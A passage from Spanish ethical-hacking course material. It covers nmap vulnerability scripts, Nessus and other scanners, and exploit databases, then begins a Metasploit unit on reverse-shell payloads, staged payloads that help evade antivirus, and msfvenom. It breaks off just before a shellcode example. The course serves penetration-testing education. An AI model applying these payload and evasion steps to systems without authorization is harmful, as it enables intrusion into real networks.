Anotación: Categorías de scripts disponibles en nmap
Además, estos scripts se encuentran divididos en diferentes categorías, pudiendo estar un

script asociado a varias categorías. Las categorías de scripts disponibles en nmap son las
siguientes:
auth: intenta evadir el sistema de autenticación o utilizar credenciales conocidas en

el sistema remoto.
broadcast: se utiliza, principalmente, para descubrir nuevos hosts en la red.
brute: intenta averiguar contraseñas en los equipos remotos de una gran variedad de
protocolos como http, SNMP, IAX, MySQL, VNC, etc.
default: scripts que se ejecutan por defecto cuando se utilizan los operadores - sC y
-A.
discovery: intenta descubrir más información a cerca de los hosts remotos a través
de protocolos como SNMP, servicios de directorio, etc.
dos: realiza pruebas de Denegación de Servicio contra los equipos remotos.
exploit: realiza ciertas pruebas en las que se intenta ejecutar algún exploit.
fuzzer: intenta ejecutar técnicas de fuzzing sobre los protocolos de red.
intrusive: en esta categoría, se catalogan los scripts que pueden causar algún tipo de
daño al sistema remoto, como el consumo de una gran cantidad de procesamiento.
malware: comprueba si el host remoto tiene signos de haberse producido una
infección por malware.
safe: scripts que se consideran seguros y que no tienen ningún impacto negativo
contra el sistema remoto.
version: intenta adivinar la versión de los servicios o protocolos del equipo remoto
vul: comprueba si el sistema remoto se encuentra afectado por alguna
vulnerabilidad conocida
De esta manera, es posible indicar a nmap que ejecute todos los scripts de una determinada
categoría en el sistema remoto
nmap 192.168.15.205 --script vuln
También es posible indicar que se lancen los scripts de un determinado protocolo y que se
encuentren asignados a una o varias categorías. Para ello, se utilizan expresiones regulares y los
operadores and, or y not.
En el siguiente ejemplo se indica a nmap que ejecute todos los scripts asociados al protocolo SMB
que pertenezcan a la categoría vuln, discovery o version.
nmap 192.168.15.205 --script "(vuln or discovery or version) and smb-*"
41/60
En este otro ejemplo, se ejecutan todos los scripts asociados al protocolo SMB que se encuentren
catalogados con las categorías vuln y safe.
nmap 192.168.15.205 --script "smb-* and (vuln and safe)"
De la misma manera, el siguiente ejemplo ejecuta todos los scripts asociados al protocolo SMB que
no se encuentren catalogados como intrusivos.
nmap 192.168.15.205 --script "smb-* and not intrusive"
También es posible consultar la ayuda de un determinado script, grupo de scripts o categorías

mediante el operador --script-help. A continuación, se muestran varios ejemplos:
nmap --script-help smb-check-vulns
nmap --script-help "smb-*"
nmap --script-help intrusive
nmap --script-help discovery
Existen ciertos scripts que permiten la introducción de argumentos para personalizar la

configuración del script que se va a ejecutar. Normalmente esta información no se muestra en la
ayuda del script. De esta manera, para conocer los argumentos que se le pueden indicar a un
determinado script podremos acudir a la documentación oficial https://nmap.org/nsedoc/ o ver el
código fuente del script .nse
A continuación, se muestra cómo se indica el argumento “ unsafe” con valor “1” para configurar la
ejecución del script “smb-check-vulns”
nmap 192.168.15.205 -p 135-139,445 -sT -sU --script smb-check-vulns unsafe=1
3.5. Búsqueda de vulnerabilidades

Recordamos que, como resultado de la enumeración de servicios y versión, se obtiene información de
los distintos servicios que operan en cada sistema identificado, además del tipo y versión de estos, así
como el puerto específico en el que prestan servicio.
Este último tipo de escaneo se centra en localizar posibles vulnerabilidades conocidas que se asocian a
una determinada versión y tipo de servicio.
Para ello, es posible consultar recursos de información de manera online, que introduciremos más
adelante en este apartado, o bien hacer uso de escáneres más específicos que se encuentran diseñados
para asociar y, en algunos casos comprobar, si una determinada versión de un tipo de servicio o software
se encuentra afectado por una vulnerabilidad en concreto.
42/60
Referencias:
https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf
3.5.1. Nmap como escáner de vulnerabilidades
Nmap también puede utilizar la potencia de sus scripts nse para actuar a modo de pequeño escáner de
vulnerabilidades. Para ello podemos hacer uso de los scripts incluidos en la categoría vuln, los cuales
identifican en el sistema remoto ciertas vulnerabilidades conocidas basándose en el tipo y versión del
protocolo o servicio que se encuentre detrás de ellos.
Cabe destacar que la mayoría de estos scripts no comprueban la existencia de la vulnerabilidad, de

modo que conviene comprobar si la vulnerabilidad realmente existe o, por lo contrario, es un falso
positivo.
nmap 192.168.15.205 --script vuln
De la misma manera, existe un proyecto llamado vulscan ( https://github.com/scipag/vulscan) que

consta de un script nse que comprueba en una base de datos local que contiene vulnerabilidades de
varias fuentes públicas (exploit-db, security focus, cve, etc.).
En caso de que la versión del protocolo o servicio se vea afectada por alguna vulnerabilidad conocida
que se encuentre registrada en la base de datos, el script nos lo indicará. Únicamente realiza la búsqueda
y saca coincidencias, pero no comprueba si realmente el equipo remoto se encuentra afectado.
Para instalarlo se ha de clonar el proyecto de github https://github.com/scipag/vulscan en la carpeta

de scripts de nmap. Una vez copiados los ficheros, se puede invocar la ejecución del mismo como si de
otro script se tratase.
nmap -sV --script=vulscan/vulscan.nse www.microsoft.com
3.5.2. Nessus
Nessus, con bastante diferencia, es la aplicación de escaneo de vulnerabilidades mas conocida y

utilizada. Actualmente existen dos versiones:
Nessus Home
Válido únicamente para entorno personal, no se pueden escanear más de 16 hosts a la vez, no
dispone de soporte de la herramienta ni acceso a los módulos de compliance.
Nessus Professional
Válido en entornos profesionales, no dispone de limitaciones de escaneo, integra varios tipos de

análisis de “Compliance” como PCI. Además, incluye soporte de la herramienta.
43/60
Para poder analizar los equipos remotos, es necesario configurar un escáner. Para ello, se
selecciona el tipo de escaneo, se indican los hosts remotos, redes o dominios que se van a escanear,
también admite que se le indique un fichero con un listado de hosts objetivo.
Imagen 2.34. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.
44/60
En una operación normal, Nessus escanea los puertos de los hosts remotos indicados con su propio
motor de escaneo de puertos para buscar puertos abiertos. También es posible indicarle como entrada
el resultado de un escaneo previo de nmap que haya sido exportado en formato XML.

45/60
También es posible especificar las pruebas que se van a lanzar en el apartado de plugins (se
encuentran agrupados por categorías). Estos plugins están desarrollados bajo un lenguaje propietario
llamado NASL (Nessus Attack Scripting Language ).

46/60
Es posible añadir también una serie de opciones adicionales como programar el escaneo para que se
inicie en un horario determinado, que cuando finalice nos envíe un correo, que no ejecute pruebas que
puedan afectar al rendimiento de los sistemas remotos, etc.
Una vez finalizado el escaneo, podremos acceder a las vulnerabilidades localizadas de manera
global.

47/60
O acceder a las vulnerabilidades de cada equipo remoto.

Opcionalmente, los resultados del escaneo pueden ser exportados como informes en varios
formatos, como CSV, PDF, XML y HTML. Los resultados también pueden guardarse en una base de
conocimiento para referencia en futuros escaneos de vulnerabilidades.

48/60
3.5.3. Escáneres más específicos (sslscan, qualys, acunetix, NIKTO,

JOOMSCAN, CMSCAN, etc.)
Existen herramientas más específicas que cubren la fase de escaneo sobre ciertos servicios o
protocolos en concreto.
Escáneres de protocolos
Son escáneres enfocados en localizar vulnerabilidades según la versión o tipología de protocolos.
En esta categoría podría englobarse herramientas cómo sslscan o testssl, que buscan
vulnerabilidades conocidas en el tipo de protocolo TLS o SSL utilizado para proteger las
comunicaciones.
49/60
Imagen 2.40. Escaneo de protocolos con testssl.

Fuente: captura de la herramienta testsl.
50/60
Escáneres de aplicaciones o frameworks
Bajo esta categoría se pueden englobar bastantes escáneres que tratan de localizar vulnerabilidades
conocidas en frameworks web tipo CMS como Joomla, Drupal, Wordpress, etc. y sus módulos
asociados.
En esta sección podemos encontrarnos programas como JoomScan, Wpscan, Droopscan, etc.
Imagen 2.41. Escaneo de aplicaciones con WPScan.

Fuente: captura de la herramienta WPScan.
51/60
Escáneres de vulnerabilidades web
Escáneres más generalistas que tratan de descubrir vulnerabilidades en cualquier tipo de aplicación
web. No se basan en localizar vulnerabilidades conocidas, sino en aplicar las técnicas necesarias para
descubrir nuevas vulnerabilidades sobre las mismas.
Como escáneres más representativos de esta categoría nos encontramos con las aplicaciones Qualys
web-app (https://www.qualys.com/solutions/web-app/) y Acunetix ( https://www.acunetix.com/),
ambas de pago.
Imagen 2.42. Escaneo de vulnerabilidades web con Acunetix.

Fuente: captura de la herramienta Acunetix.
3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas
Además, existen distintos portales especializados que recopilan información de vulnerabilidades

conocidas. Dependiendo del portal consultado, obtendremos más o menos información acerca de la
vulnerabilidad consultada, si existe algún tipo de prueba de concepto asociada, parches que mitigan la
vulnerabilidad, riesgo de la misma, etc.
A continuación, se muestra una recopilación de los portales más conocidos:
cve.csv - http://cve.mitre.org
securityfocus.csv - http://www.securityfocus.com/bid/
securitytracker.csv - http://www.securitytracker.com
expliotdb.csv - http://www.exploit-db.com
openvas.csv - http://www.openvas.org
52/60
Por otro lado, existe una herramienta en modo consola, disponible para sistemas Linux, que realiza
búsquedas de exploits disponibles en una copia local de la base de datos mantenida por exploit-db.
Además, también te indica dónde se encuentra la copia local del exploit para poder utilizarlo para
comprometer el equipo remoto.
Imagen 2.43. Búsqueda de vulnerabilidades con Linux.

Fuente: captura de Linux.
IV. Resumen
Dentro de las auditorías de seguridad que estudiamos en la unidad anterior, hemos aprendido que se
pueden clasificar en pentest externo (de acuerdo a debilidades del cliente que se pueden encontrar en
internet), interno (desde el punto de vista de un insider) y red team (simulando ataques reales).
Además, si clasificamos estas auditorías por la información que conocemos sobre el objetivo, se
podrían dividir en: caja negra, caja gris y caja blanca.
En cuanto a las fases que forman parte de una auditoría, a lo largo de esta unidad, nos hemos centrado
en dos:
La fase de reconocimiento en la que recogemos toda la información posible del objetivo (tanto
de forma activa como de forma pasiva).
La fase de escaneo. En ella, obtendremos una versión más detallada del objetivo, después de
obtener la información de la fase de reconocimiento.
Dentro de estos contenidos mencionados, hemos estudiado diferentes tipos de enumeraciones (DNS,
SMB, etc.), tipos de escaneos y herramientas para realizarlos, descubrimientos (de red, de hosts, de
servicios, etc.) así como diferentes búsquedas de vulnerabilidades.
53/60
Recursos
Enlaces de Interés
https://nmap.org/zenmap/
ZenMap (recopilación de herramientas usadas)
https://wpscan.org/
WPScan (recopilación de herramientas usadas)
https://www.wireshark.org/
Wireshark (recopilación de herramientas usadas)
https://www.whois.net/
Whois (recopilación de herramientas usadas)
https://github.com/scipag/vulscan
Vulscan (recopilación de herramientas usadas)
https://github.com/laramies/theHarvester
theHarvester (recopilación de herramientas usadas)
https://github.com/rbsec/sslscan
SSLscan (recopilación de herramientas usadas)
https://www.shodan.io/
Shodan (recopilación de herramientas usadas)
http://www.securitytracker.com
Securitytracker (recopilación de herramientas usadas)
http://www.securityfocus.com/bid/
Securityfocus (recopilación de herramientas usadas)
https://github.com/sygo/searchsploit
Searchsploit (recopilación de herramientas usadas)
https://www.robtex.com/
Robtex (recopilación de herramientas usadas)
https://www.ripe.net/
Ripe (recopilación de herramientas usadas)
Recon-ng (recopilación de herramientas usadas)
54/60
https://www.qualys.com/solutions/web-app/
Qualys web-app (recopilación de herramientas usadas)
https://www.ssllabs.com/
Qualys SSL (recopilación de herramientas usadas)
https://github.com/byt3bl33d3r/pth-toolkit
Pth-toolkit (recopilación de herramientas usadas)
https://github.com/lanjelot/patator
Patator (recopilación de herramientas usadas)
https://pastebin.com/
Pastebin (recopilación de herramientas usadas)
http://www.openvas.org
Openvas (recopilación de herramientas usadas)
Nmap (4)
https://nmap.org/nsedoc/
Nmap (3)
Nmap (2)
Nmap (1)
https://nmap.org/
Nmap (recopilación de herramientas usadas)
http://netcat.sourceforge.net/
Netcat (recopilación de herramientas usadas)
https://www.tenable.com/products/nessus/nessus-professional
Nessus (recopilación de herramientas usadas)
https://nmap.org/ncrack/
Ncrack (recopilación de herramientas usadas)
https://github.com/gentilkiwi/mimikatz
Mimikatz (recopilación de herramientas usadas)
https://www.metasploit.com/
Metasploit (recopilación de herramientas usadas)
55/60
https://github.com/jmk-foofus/medusa
Medusa (recopilación de herramientas usadas)
http://www.openwall.com/john/
Jhon the Ripper (recopilación de herramientas usadas)
ICMP
https://tools.kali.org/password-attacks/hydra
Hydra (recopilación de herramientas usadas)
https://hashcat.net/hashcat/
Hashcat (recopilación de herramientas usadas)
https://www.google.com
Google (recopilación de herramientas usadas)
https://github.com/
Github (recopilación de herramientas usadas)
https://www.elevenpaths.com/es/labstools/foca-2/index.html
FOCA (recopilación de herramientas usadas)
http://www.exploit-db.com
Expliot-db (recopilación de herramientas usadas)
https://github.com/portcullislabs/enum4linux
Enum4linux (recopilación de herramientas usadas)
https://github.com/fwaeytens/dnsenum
Dnsenum (recopilación de herramientas usadas)
http://cve.mitre.org
CVE (recopilación de herramientas usadas)
https://www.bing.com/
Bing (recopilación de herramientas usadas)
https://attack.mitre.org/wiki/All_Techniques
Attack Mitre
https://github.com/royhills/arp-scan
Arp-scan (recopilación de herramientas usadas)
https://www.arin.net/
Arin (recopilación de herramientas usadas)
56/60
http://archive.org
Archive.org (recopilación de herramientas usadas)
https://www.acunetix.com/
Acunetix (recopilación de herramientas usadas)
https://0day.today/
0day (recopilación de herramientas usadas)
Bibliografía
0day.: https://0day.today/
Google Hacking For Penetration Test . : Long, J., Gardner, B. and Brown, J. (2016). Google
Hacking For Penetration Test. Tercera Edición. Waltham: Syngress.
Open Source Intelligence Techniques: Resources for Searching and Analyzing Online
Information. : Bazzell, M. (2018). Open Source Intelligence Techniques: Resources for
Searching and Analyzing Online Information. CreateSpace Independent Publishing Platform
Acunetix.: https://www.acunetix.com/
Archive.org.: http://archive.org
Arin.: https://www.arin.net/
Arp-scan.: https://github.com/royhills/arp-scan
Attack Mitre.: https://attack.mitre.org/wiki/All_Techniques
Combinaciones de Google para hacking.: https://www.exploit-db.com/google-hacking-
database/
Dnsenum.: https://github.com/fwaeytens/dnsenum
Dnsrecon.: https://github.com/darkoperator/dnsrecon
Documentación de scripts de Nmap.: https://nmap.org/nsedoc/
Enum4linux.: https://github.com/portcullislabs/enum4linux
Exploit-db.: http://www.exploit-db.com
FOCA.: https://www.elevenpaths.com/es/labstools/foca-2/index.html
Github.: https://github.com/
Hashcat.: https://hashcat.net/hashcat/
Hydra.: https://tools.kali.org/password-attacks/hydra
Internet Control Message Protocol (ICMP).:
Jhon the Ripper.: http://www.openwall.com/john/
Medusa.: https://github.com/jmk-foofus/medusa
57/60
Metasploit.: https://www.metasploit.com/
Mimikatz.: https://github.com/gentilkiwi/mimikatz
Ncrack.: https://nmap.org/ncrack/
Nessus.: https://www.tenable.com/products/nessus/nessus-professional
Netcat.: http://netcat.sourceforge.net/
Nmap.: https://nmap.org/
Nmap. Control de tiempo y rendimiento.: https://nmap.org/man/es/man-performance.html
Openvas.: http://www.openvas.org
OSVDB.: http://www.osvdb.org
Pastebin.: https://pastebin.com/
Patator.: https://github.com/lanjelot/patator
Pth-toolkit.: https://github.com/byt3bl33d3r/pth-toolkit
Qualys SSL.: https://www.ssllabs.com/
Qualys.: https://www.qualys.com/solutions/web-app/
Repositorio de Recon-ng.: https://bitbucket.org/LaNMaSteR53/recon-ng
Ripe.: https://www.ripe.net/
Robtex.: https://www.robtex.com/
SANS Institute. Nmap Cheat Sheet. : https://blogs.sans.org/pen-
testing/files/2013/10/NmapCheatSheetv1.1.pdf
Searchsploit.: https://github.com/sygo/searchsploit
Securityfocus.: http://www.securityfocus.com/bid/
Securitytracker.: http://www.securitytracker.com
Shodan.: https://www.shodan.io/
SSLscan.: https://github.com/rbsec/sslscan
theHarvester.: https://github.com/laramies/theHarvester
Vulscan.: https://github.com/scipag/vulscan
Wireshark.: https://www.wireshark.org/
WPScan.: https://wpscan.org/
Xforce.: http://xforce.iss.net
Zenmap.: https://nmap.org/zenmap/
Glosario.
58/60
Descubrimiento de red: Averiguar cómo se encuentra estructurada toda la arquitectura de

sistemas por los que está compuesto el objetivo, distinto direccionamiento IP utilizado, la
segmentación aplicada en la red y visibilidad dentro de cada segmento, etc.
Enumeración de puertos: Averiguar los puertos TCP o UDP que se encuentran operativos
en cada sistema identificado.
Management Information Base: Base de datos de SNMP que contiene información

relacionada con la administración de la red. Está organizado en forma de árbol, cuyas ramas
representan las diferentes organizaciones o funciones de red. Cada hoja de árbol corresponde a
valores de variables específicas de un endpoint a las que se puede acceder.
OSINT (Open Source Intelligence): Forma de recolección de inteligencia que engloba

encontrar, seleccionar y adquirir información de recursos públicos para ser analizada y
producir inteligencia (información relevante).
Port sweep: Técnica por la cual se consulta a un determinado puerto o conjunto de puertos
que creamos que se pueda encontrar disponible en el host remoto. Si alguno de los puertos
consultados responde como activo, significa que el host remoto se encuentra operativo, aunque
no responda a ping.
Recon-ng: Framework de reconocimiento web escrito en Python que cuenta con módulos
independientes y diferentes funciones, que proporciona un entorno bastante completo y que
permite englobar todas las pruebas de reconocimiento pasivo que se pueden llevar a cabo.
Sesión NULL: Sesión NetBIOS no autenticada entre dos ordenadores. Esta característica
permite que los equipos no autenticados obtengan listas de navegación de otros servidores de
Microsoft.
SMB (Server Message Block): Protocolo de red cuyo objetivo es compartir archivos,
impresoras, etc. entre máquinas pertenecientes a una misma red de ordenadores.
SMTP (Simple Mail Transfer Protocol) : Protocolo de red utilizado para el intercambio de
mensajes de correo electrónico. Suele asociarse a otros protocolos como POP3 o IMAP,
utilizándose SMTP para correo de salida, y los otros para correo entrante.
SNMP (Simple Network Management Protocol) : Protocolo basado en UDP, que facilita el
intercambio de información entre dispositivos de una misma red, un protocolo simple, sin
estado y, por lo tanto, es susceptible a IP spoofing y ataques de repetición.
59/60
Transferencia de zona: Copia del archivo de zona desde un servidor DNS maestro a un
servidor esclavo. El archivo de zona contiene una lista de todos los nombres DNS
configurados para esa zona.
60/60
Auditoría de infraestructuras II:
Explotación y Escalada de privilegios
© ADR Infor SL
Indice
Auditoría de infraestructuras II: explotación y escalada de privilegios 3
I. Explotación 3
1.2. Objetivos 3
1.3. Teoría 3
1.4. Vectores de ataque 4
1.5. Tipos de exploit 5
1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit) 6
1.7. Metasploit 7
1.7.1. Módulos auxiliares 9
1.7.2. Módulos de exploits 9
1.7.3. Payloads de Metasploit 10
1.7.4. Generación de shellcode y payloads ejecutables 11
1.8. Tipos de shells 14
II. Escalada de privilegios 15
2.2. Teoría 15
2.3. Escalando privilegios con Metasploit 16
2.3.1. Utilizando meterpreter 16
2.3.2. Utilizando exploits específicos 17
2.4. Exploits de escalada de privilegios en local 20
2.4.1. Elevación de privilegios en Microsoft Windows 20
2.4.2. Elevación de privilegios en Linux 21
2.5. Fuerza bruta de credenciales 22
2.5.1. Medusa 23
2.5.2. ncrack 23
2.5.3. hydra 24
2.5.4. patator 24
2.6. Extracción de credenciales mediante Mimikatz 25
2.6.1. Recuperar contraseñas en texto plano 25
2.6.2. Exportar tickets de Kerberos 26
2.6.3. Exportar fichero SAM 26
2.7. Autenticación mediante técnicas “Pass the Hash” 27
2.7.1. Pass the Hash con Metasploit 27
2.7.2. Pass the Hash con Mimikatz 27
2.7.3. Pass the hash con pth-toolkit 28
2.7.4. Autenticándonos en escritorio remoto con Pass the Hash 30
2.7.5. Utilizando Pass the Hash en scripts de nmap 30
2.8. Password cracking 30
2.8.1. Jhon the ripper 31
2.8.2. hashcat 32
2.9. Pivoting con meterpreter 33
III. Resumen 39
Recursos 40
Bibliografía 43
Glosario. 45
2/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios
Auditoría de infraestructuras II: explotación y

escalada de privilegios
I. Explotación
1.1. Introducción
Tras la identificación de vulnerabilidades en los servicios identificados en las fases anteriores, el
siguiente paso es explotarlas con el objetivo de mostrar el riesgo real de la vulnerabilidad.
1.2. Objetivos
Con esta unidad el estudiante continuará trabajando en las fases que componen una auditoría de
seguridad, pero esta vez, centrándonos en las fases de explotación y escalada de privilegios.
En cuanto a la fase de explotación, el alumno aprenderá los diferentes vectores de ataque, algunos
tipos de exploit y cómo buscarlos. Además, es importante familiarizarse con diferentes herramientas que
resaltarán de gran utilidad en un futuro como auditor de seguridad.
Con respecto a la escalada de privilegios, en esta unidad los estudiantes conocerán varios métodos de
escalada de privilegios, así como herramientas que les servirán de ayuda para llevarlos a cabo.
1.3. Teoría
Un exploit es un software o técnica que permite explotar o aprovechar una vulnerabilidad de seguridad
de un sistema de información para conseguir un comportamiento no deseado del mismo.
A modo general, desde un punto de vista de ejecución, para la misma hay que contar con:
Si pueden ser explotables de manera remota o local.

Necesidad de privilegios o condiciones del sistema.
Algunos ejemplos de acciones que se pueden lograr en caso de éxito:

Transferir ficheros entre sistemas.
Obtener información acerca del sistema afectado.
Modificar la configuración.
3/45
La explotación es una fase vital en la ejecución de un test de intrusión ya que nos permite evaluar el
riesgo real de la vulnerabilidad, tanto en información obtenida como en la posibilidad de saltar o pivotar
hacia otros sistemas.
Los riesgos de un exploit son:
Denegación del sistema o servicio.

Degradación del sistema o servicio.
Corrupción de información.
Corrupción de la configuración del sistema o servicio.
Escalada de privilegios.
Anotación: Concepto de shellcode
En exploiting, una shellcode es una pequeña porción de código utilizada como carga útil en la
explotación de una vulnerabilidad de software. Se llama " shellcode" porque normalmente inicia
un shell de comandos desde el cual el atacante puede controlar la máquina comprometida, pero
cualquier código que realice una tarea similar se puede llamar shellcode. Hay dos tipos
diferenciados:
Local: normalmente es el utilizado por un atacante que tiene acceso limitado a una
máquina, pero puede explotar una vulnerabilidad, por ejemplo, un desbordamiento de
búfer, en un proceso de mayor privilegio en esa máquina.
Si se ejecuta con éxito, la shellcode proporcionará al atacante acceso a la máquina con
los mismos privilegios superiores que el procesado.
Remota: se utiliza cuando un atacante desea apuntar a un proceso vulnerable que se
ejecuta en otra máquina en una red local, intranet o red remota. Si se ejecuta con éxito,
la shellcode puede proporcionar acceso al atacante a la máquina de destino a través de
la red. Se puede ejecutar remotamente, mediante el procesamiento de un servidor o
localmente, mediante algún tipo de engaño del usuario.
Más adelante vamos a ver este concepto y es necesario tener claro cuál es su finalidad.
1.4. Vectores de ataque

Hay numerosas formas de identificar los vectores de ataque dentro de una red o en un host concreto.
Los vectores más comunes son los siguientes:
Vectores en aplicaciones web: como se va a comentar en la unidad 2, se pueden explotar

vulnerabilidades de inyección de código, file inclusion, etc.
Servicios con vulnerabilidades conocidas.
Servicios con configuraciones por defecto o mal configurados.
4/45
Contraseñas por defecto y contraseñas no seguras.

Compromiso de equipos de la red interna mediante phishing o mails infectados.
Referencias:
https://attack.mitre.org/wiki/Main_Page
1.5. Tipos de exploit

Un exploit está formado por dos partes diferenciadas:
Exploit
Es el código que tiene por objeto ejecutar instrucciones en la víctima de manera no autorizada. Es
el cómo se explota una vulnerabilidad.
Payload
Son las instrucciones que se ejecutan desde la víctima y que nos ofrecen el acceso o interacción no
autorizada a raíz de la explotación de las vulnerabilidades. Es el qué se explota en una vulnerabilidad.
La mayoría de exploits pueden ser agrupados en una de las siguientes categorías:
Service-side
Son aquellos que tienen por objetivo comprometer un servicio que ejecuta en modo servidor, como
por ejemplo el servicio apache.
Client-side
Los exploit de esta categoría afectan a software que ejecuta en el lado cliente y dentro de esta
agrupación figuran las aplicaciones que más comúnmente usamos en nuestro día a día, tal y como son
el navegador web, una hoja de cálculo o el cliente de correo electrónico.
Local Privilege Escalation - PoE
Son exploits que deben ser ejecutados localmente, es decir, desde la propia máquina, ya sea bien
por consola o por acceso remoto.
5/45
1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit)

Como se comentó en el apartado 3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas , la
herramienta searchsploit, disponible para sistemas Linux, realiza búsquedas de exploits disponibles en
una copia local de la base de datos mantenida por exploit-db. Además, también indica dónde se
encuentra la copia local del exploit para poder utilizarlo para comprometer el equipo remoto.
Como alternativa a esta, la base de datos online de exploit-db, es una fuente muy útil de información y
búsqueda de exploits de todo tipo, ya sean remotos, locales, de kernel Linux, de explotación de servicios
a través de buffer overflow, etc., y 0day.today, que cuenta con una base de datos similar a la que dispone
exploit-db.
https://www.exploit-db.com/
Imagen 3.1. Exploit database.

Fuente: https://www.exploit-db.com/.
6/45
https://0day.today/
Imagen 3.2. 0DAY. today?.

Fuente: https://0day.today/.
1.7. Metasploit
Metasploit es una plataforma avanzada de código abierto para desarrollar, probar y utilizar código de
explotación escrito en Ruby. Contiene herramientas de desarrollo orientadas a explotar vulnerabilidades.
Los frameworks estandarizan la sintaxis de uso de exploit y proporcionan capacidades dinámicas de
código shell. Esto significa que, para cada exploit en el framework, se pueden seleccionar diferentes
payloads, como una bind shell , una reverse shell , descarga y ejecución de shellcodes, etc.
Metasploit cuenta con dos principales interfaces de usuario: msfconsole y armitage. La primera y más
común, es una consola interactiva, usada para ejecutar tareas regulares; la segunda, es un add-on de
terceros que proporciona al usuario una interfaz gráfica.
Mediante el comando show se pueden enumerar los diferentes exploits, módulos auxiliares, payloads
y plugins que ofrece este framework tan completo.
Exploits
Organizados en función del sistema operativo y software afectados, lista tanto de client-side como
de server-side .
# show exploits
7/45
Payloads
Hay de múltiples variedades, incluyendo conexiones directas, inversas y por supuesto el

meterpreter, del que hablaremos en el siguiente apartado.
# show payloads
Encoders
Modifica los exploits y los payloads para evadir elementos de seguridad tales como IDS, IPS, AV.
# show encoders
Auxiliary
Módulos de apoyo durante un test de intrusión, la mayoría son relativos a ejercicios de escaneos o
fuerza bruta.
Post
Actividades posteriores a la explotación satisfactoria de una víctima, relacionadas con la

persistencia, transferencia de ficheros, automatización de búsquedas de información y similares.
A continuación, se muestra una parte de cada uno de ellos:

ENLACE
8/45
Además de lo comentado, Metasploit ofrece la posibilidad de realizar numerosas tareas:
ejecutar comandos de sistema

buscar información concreta
consultar si hay más de un módulo ejecutándose
ver las sesiones activas
elegir un exploit
ajustar las opciones de un exploit
seleccionar el payload y ajustarlo
ENLACE
1.7.1. Módulos auxiliares
Los módulos auxiliares proporcionan funcionalidades como enumeración de protocolos, escaneo de

puertos, fuerza bruta, fuzzing, sniffing, etc., que nos puede ayudar en las primeras fases del hacking
ético.
A continuación, se muestra un ejemplo de una simple enumeración SNMP:
ENLACE
Como se ha comentado, otros módulos auxiliares incluyen opciones de fuerza bruta contra
determinados servicios. El mostrado a continuación, se lleva a cabo contra un servidor FTP, donde se
hace fuerza bruta contra el login:
ENLACE
1.7.2. Módulos de exploits
Este framework cuenta con más de 1000 exploits para diferentes plataformas y arquitecturas. Estos se
invocan de la misma manera que en el caso de los módulos auxiliares. A continuación, vamos a mostrar
un ejemplo de explotación del servicio pop3.
Lo primero que tenemos que hacer es seleccionar el host objetivo con el comando set RHOST $ip. El
puerto no es necesario seleccionarlo ya que viene por defecto. Sin embargo, puede darse la situación de
que el servicio se esté ejecutando en otro puerto, por lo que tendríamos que seleccionarlo con set
RPORT $port.
A continuación, vamos a seleccionar el payload, en este caso al tratarse de sistema Windows, una
reverse shell de Windows: set PAYLOAD windows/shell_reverse_tcp.
9/45
El siguiente paso es configurar nuestro payload añadiendo nuestra IP y puerto de escucha de la shell
que vamos a ejecutar en nuestro objetivo. Esto se hace de la misma manera que se explicó unas líneas
más arriba, con la diferencia que vamos a utilizar LHOST y LPORT, que hacen referencia a nuestra
máquina. Una vez configurado todo, ejecutamos el exploit:
ENLACE
1.7.3. Payloads de Metasploit
Existen dos tipos de payloads: staged y non-staged . En este apartado se van a ver las diferencias entre
ambos.
La mayoría de los exploits pueden ser agrupados en las siguientes categorías:
Sencillos o de un solo paso ( non-staged ): son autocontenidas, se trata habitualmente de la

ejecución de un comando en la víctima que tiene por propósito crear una conexión con el
atacante o crear un usuario en la víctima.
adduser, exec, shell_bind_tcp, shell_reverse_tcp, etc.
Staged/Stagers o de dos pasos: este payload se envía, normalmente, en dos pasos:
La primera parte es payload primario, el stager, que establece una conexión entre la
víctima y el atacante a través de la red mediante bind_tcp, reverse_tcp, reverse_http,
etc.
Stage: es el payload secundario, que contiene el resto del shellcode. Es lo que
realmente se ejecuta en la víctima, una vez se ha establecido la conexión entre la
víctima y el atacante. Normalmente se trata de un programa que se carga la memoria
para evitar que sea fácilmente trazable.
VNC, meterpreter.
Actualmente, los stages incluyen su código en el proceso explotado inyectándose
como DLL.
Se pueden dar diferentes situaciones en las que se precise el uso de staged shellcodes en vez de las
non-staged :
La vulnerabilidad que estamos explotando no tiene suficiente espacio de búfer para contener
u n payload completo. Como la primera parte de un payload staged es más pequeña que un
payload completo, los que son más pequeños a menudo pueden salvarnos en situaciones
complejas.
E l software antivirus detecta código shell incrustado en un exploit. Reemplazando el código
shell incrustado con payload staged , eliminaremos la mayor parte de la parte maliciosa del
código shell y la inyectaremos directamente en la memoria de la máquina víctima.
windows/shell_reverse_tcp - Connect back to attacker and spawn a command shell
windows/shell/reverse_tcp - Connect back to attacker, Spawn cmd shell (staged)
10/45
1.7.4. Generación de shellcode y payloads ejecutables
El framework de Metasploit no solo dispone de una variedad de payloads, sino que también ofrece la
posibilidad de generar la shellcode para incrustar en nuestro exploit y, por otro lado, exportar estos
mismos dentro de diferentes tipos de ficheros y formatos, como son ASP, VBScript, Java War, Windows
DLL y EXE, etc.
Esto es posible gracias a la utilidad msfvenom (https://www.offensive-security.com/metasploit-

unleashed/Msfvenom/). Msfvenom es un framework para generar shellcodes dentro de la herramienta
Metasploit, pero también se puede utilizar por separado.
Las ventajas del uso de msfvenom son:
Se dispone de todo lo necesario en una única herramienta.

Opciones de líneas de comando estandarizadas.
Mayor velocidad.
Imagen 3.3. Creación de payloads ejecutables en Linux.
11/45
Fuente: captura de Kali Linux (htpps://www.kali.org/).

Generación de shellcode
Hay tres tipos de shellcodes: los basados en Linux, en Windows y en Mac.
La generación de shellcodes con msfvenom sigue el siguiente patrón:
Lo primero que vamos a seleccionar es el payload. Para el ejemplo que se va a mostrar, se

ha seleccionado uno básico llamado windows/shell_reverse_tcp, que actúa como un
payload de reverse shell de netcat.
Para consultar los payloads disponibles, podemos escribir en la línea de comandos lo
siguiente:
root@kali:~# msfvenom -l payloads
Es necesario seleccionar el LHOST y LPORT, que, como comentamos anteriormente,
corresponden a la IP y puerto de la máquina atacante desde la que se quiere conectar a la
víctima.
En el ejemplo mostrado a continuación, se ha generado una shellcode en lenguaje c,
